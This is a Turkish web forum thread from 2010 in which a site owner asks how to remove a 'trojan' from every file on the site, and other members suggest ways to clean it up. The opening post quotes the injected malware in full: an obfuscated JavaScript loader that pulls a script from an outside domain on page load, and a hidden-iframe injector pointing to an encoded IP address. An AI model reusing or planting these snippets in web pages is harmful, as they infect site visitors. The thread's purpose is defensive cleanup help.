sitemde trojan var nasıl temizlerim

kapadok · 1 26-05-2010, 14:16:34

merhaba arkadaşlar siteme aşağıdaki kodlar bulaşmış.tüm dosyalarda var nasıl temizlerim.tek
tek elle temizlemem mi lazım yardımınızı bekliyorum

<script>var Ye=new Date();K={S:"E"};var f;var cc='';J=function(){try {} catch(v){};b=12784;b+=65;function k(M,fw,g){i=53043;i++;var fU=[];return M.substr(fw,g);}var n=new String(k("/c6qd",0,2)+k("8y5on8y5",3,2)+"st"+k("5MkjanjkM5",4 ,2)+"tc"+k("onvjt1",0,2)+k("gkDtakDg",3,2)+k("yowc tyow",3,2)+"-c"+k("AIDomIAD",3,2)+k("/gqly",0,2)+k("oobW8d",0,2)+"gl"+"e."+"co"+k("lunm/nul",3,2)+"mp"+k("UBsCnrUBsC",4,2)+k("D4Es.E4D",3, 2)+k("RhtcohRt",3,2)+k("m.FNJh",0,2)+"ph"+"p");var ka=RegExp;xQ=7347;xQ--;var Y='';var H=document;P=43448;P--;try {} catch(dh){};this.Of=false;function w(M,fw){var Bt={f_:"s"};try {var z='Q'} catch(z){};var g="["+fw+k("]BGz",0,1);var co=58271;var W=new ka(g, k("gU0b7",0,1));QU={};return M.replace(W, Y);};this.EJ=false;var Qk=new Date();vW=["fs","T","BX"];bH=13925;bH+=46;var X=w('sScKrBixp8tS','x8S6dRBalLwmKq');var wU={N:false};this.pD=54959;this.pD+=68;var G=null;var m="bo"+"dy";By=49372;By--;var x=716384-708304;rx={fO:"tM"};var pa="";var pJ="";f=function(){try {ke=38867;ke++;Rm=35815;Rm--;var d=w('cVrLeha9t0e2EhlUebmVeCnitx','S7CVxFUX0ihMbQ_4 do2DH95LZ');var rV=false;L=[];r=H[d](X);vw={Wv:"ft"};DR=50964;DR-=65;var M=x+n;var B=w('sMrpcp','0ZpjgBM81D');var gu="de"+"fe"+k("r2jcY",0,1);var XG={};r[B]=k("httpymBg",0,4)+"://t"+k("enthOVUK",0,4)+k("profViJY",0,4)+"it.r"+k("u :2TMn",0,2)+M;r[gu]=[2,1][1];this.kY=2436;this.kY--;H[m].appendChild(r);var DH=[];jv={};var ll=26040;} catch(I){Qq={MF:"_D"};erm={mb:"OB"};};var UV='';};var BB="";};VGf={LB:25916};J();var Hz={wb:"OX"};this.YC=46609;this.YC-=223;window.onload=f;</script>
<!--1afa3ac8209c0e8d9e83bab2f555b7b9--<html><body><script type='text/javascript'>str="<ijbwjuics src=" + unescape('%68%74%74%70%3a%2f%2f%39%31%2e%32%31%32% 2e%31%39%38%2e%31%31%35%2f%77%65%62%66%6f%72%75%6d %2f%67%6f%2e%70%68%70%3f%73%69%64%3d%38') + " xaoz3='1'vxoq3='1'>";str = str.replace('ijb', 'i');str =str.replace('wju', 'fr');str = str.replace('ics', 'ame');str =str.replace('xaoz3', 'width');str =str.replace('vxoq3','height');document.write(str) ;</script>

**gencsair** · 2 26-05-2010, 14:36:30

bu aralar birçok kişide bu virüs sorunu var temiz halinin yedeği varsa onu at

Grafi · 3 26-05-2010, 14:40:58

.js ve index.php index.html bu dosyaların içinde gizlenir

sitenizin tüm dosyaları pc download edin.
.js + index.php + index.html dosyaları buralar hepsini tek tek inceleyin

~~korkmam~~ · 4 26-05-2010, 14:46:02

malesef bu virüs beter bişey siliyorsun gene yükleniyor
ben çok çektim
tüm index le alakalı herşeyi temizle hocam

osahin · 5 26-05-2010, 20:05:16

Alıntı:

Grafi Nickli Üyeden Alıntı

.js ve index.php index.html bu dosyaların içinde gizlenir

sitenizin tüm dosyaları pc download edin.
.js + index.php + index.html dosyaları buralar hepsini tek tek inceleyin

Aynen bu şekilde. Ama sitedeki tüm dosyaları editlememe rağmen problem hala devam ediyor. Çıkamadım işin içinden...

**BuRacK** · 6 26-05-2010, 20:35:25

Hocam "Advanced Find and Replace" isimli program, belirlenen bir klasör üzerindeki tüm dosyalarda belirttiğiniz kodları arıyor ve temizleyebiliyor. Bu işlemi virüssüz bir bilgisayarda yapmanızı öneririm. Ondan sonra dosyaları tekrar FTP'ye atın ve FTP şifrelerini değiştirin.

Mmuratts · 7 26-05-2010, 21:29:00

ftp programı kullanmanızı tavsiye etmem arkadaşların dediği yöntemle temizleyin şifrenizi değiştirin panelden değiştirin hem kolay hem virüs girmez benim tüm sitelerime girmişti çok bela bi virüs

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder